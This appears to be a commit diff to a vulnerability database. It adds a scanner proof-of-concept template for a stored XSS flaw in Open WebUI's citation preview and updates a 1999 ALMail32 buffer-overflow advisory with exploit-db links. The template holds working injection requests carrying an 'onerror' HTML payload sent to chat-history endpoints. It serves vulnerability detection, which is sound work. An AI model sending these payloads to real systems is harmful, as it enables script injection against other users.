add: AVE-1999-0212

Author: adysec

pocs/2026/POC-AVE-2026-0049.toml

@@ -0,0 +1,83 @@
+[info]
+author = "AVE"
+description = "检测 Open WebUI 引文预览中的存储型 XSS 漏洞（CVE-2026-26192）。攻击者通过修改聊天历史文档元数据设置 html=true，使前端将用户控制的 HTML 内容通过 srcdoc 渲染至 iFrame（sandbox=allow-scripts allow-same-origin），实现跨站脚本攻击。影响版本 <= 0.6.43，修复版本 >= 0.7.0。"
+id = "POC-AVE-2026-0049"
+name = "CVE-2026-26192 PoC"
+severity = "high"
+tags = [
+    "cve-2026-26192",
+    "open-webui",
+    "xss",
+    "stored-xss",
+]
+vuln_id = [
+    "CVE-2026-26192",
+    "GHSA-xc8p-9rr6-97r2",
+    "AVE-2026-0049",
+]
+
+[poc]
+logic = "any"
+
+[[poc.requests]]
+method = "POST"
+path = "/{{BaseURL}}/api/chat/history"
+protocol = "http"
+
+[poc.requests.body]
+content = '{"chat_id":"test","history":{"messages":[{"role":"assistant","content":"test","documents":[{"document":"<img src=x onerror=alert(1)>","metadata":{"html":true,"source":"cve-poc"}}]}]}}'
+type = "json"
+
+[poc.requests.headers]
+Content-Type = "application/json"
+
+[[poc.requests.matchers]]
+expect = true
+part = "body"
+type = "word"
+words = [
+    "success",
+    "true",
+]
+
+[[poc.requests]]
+method = "PUT"
+path = "/{{BaseURL}}/api/chat/history"
+protocol = "http"
+
+[poc.requests.body]
+content = '{"chat_id":"test","history":{"messages":[{"role":"assistant","content":"test","documents":[{"document":"<img src=x onerror=alert(1)>","metadata":{"html":true,"source":"cve-poc"}}]}]}}'
+type = "json"
+
+[poc.requests.headers]
+Content-Type = "application/json"
+
+[[poc.requests.matchers]]
+expect = true
+part = "body"
+type = "word"
+words = [
+    "success",
+    "true",
+]
+
+[[poc.requests]]
+method = "POST"
+path = "/{{BaseURL}}/api/chat/test/history"
+protocol = "http"
+
+[poc.requests.body]
+content = '{"history":{"messages":[{"role":"assistant","documents":[{"document":"<img src=x onerror=alert(1)>","metadata":{"html":true,"source":"cve-poc"}}]}]}}'
+type = "json"
+
+[poc.requests.headers]
+Content-Type = "application/json"
+
+[[poc.requests.matchers]]
+expect = true
+part = "body"
+type = "word"
+words = [
+    "success",
+    "true",
+]

vulns/1999/AVE-1999-0212.toml

@@ -1,27 +1,31 @@
 [basic]
-description = "CREAR ALMail32 1.10 POP3 邮件客户端存在缓冲区溢出漏洞，远程攻击者可通过向目标用户发送包含特制 From 或 To 头部的恶意邮件触发该漏洞，导致拒绝服务或可能在目标系统上执行任意代码。攻击者无需身份认证，只需诱使用户连接 POP3 服务器接收邮件即可利用。"
-published = "1999-08-08T04:00:00.000"
-remediation = "CREAR 已停止维护 ALMail32，无官方补丁。建议立即卸载 ALMail32 1.10，迁移至仍在安全维护的现代邮件客户端（如 Thunderbird 或 Outlook）。若因业务原因无法立即替换，可在邮件网关/服务器侧配置规则，拦截或截断超长 From/To 头部（超过 1024 字节）的邮件，并避免在 ALMail32 中打开来路不明的邮件。"
+description = "CREAR ALMail32 1.10 POP3 客户端在解析邮件头时存在缓冲区溢出漏洞。远程攻击者可通过向目标用户发送特制的包含超长 From 或 To 头的电子邮件触发该漏洞，导致拒绝服务或任意代码执行。攻击条件为需要诱使用户使用受影响的客户端接收并查看恶意邮件。"
+published = "1999-08-08"
+remediation = "该漏洞影响 CREAR ALMail32 1.10 及更早版本，厂商已停止维护且无官方补丁。建议立即停用 ALMail32，迁移至现代受支持的 POP3 客户端（如 Mozilla Thunderbird、Claws Mail），并在邮件服务器网关侧配置过滤异常超长 From/To 邮件头字段的规则作为临时缓解措施。"
 score = 5.1
 severity = "MEDIUM"
-sources = ["cve"]
+sources = [
+    "cve",
+    "avd",
+]
 title = "CREAR ALMail32 POP3 客户端缓冲区溢出漏洞"
-updated = "2026-06-16T21:48:49.103"
+updated = "2026-06-16"
 
 [exploit]
-exp_urls = []
-poc_urls = []
+exp_urls = ["https://www.exploit-db.com/exploits/19450"]
+poc_urls = ["https://www.exploit-db.com/exploits/19450"]
 
 [id]
 aliases = ["CVE-1999-0673"]
 ave_id = "AVE-1999-0212"
 
 [meta]
-collected_at = "2026-07-13T00:00:00Z"
+collected_at = "2026-07-14T00:00:00Z"
 status = "completed"
 
 [references]
 urls = [
     "http://www.securityfocus.com/bid/574",
     "https://www.exploit-db.com/exploits/19450",
+    "https://github.com/github/advisory-database/blob/3f4ce19e2c9952be92df5da9390e93383644298b/advisories/unreviewed/2022/04/GHSA-g7pc-52xr-cv98/GHSA-g7pc-52xr-cv98.json",
 ]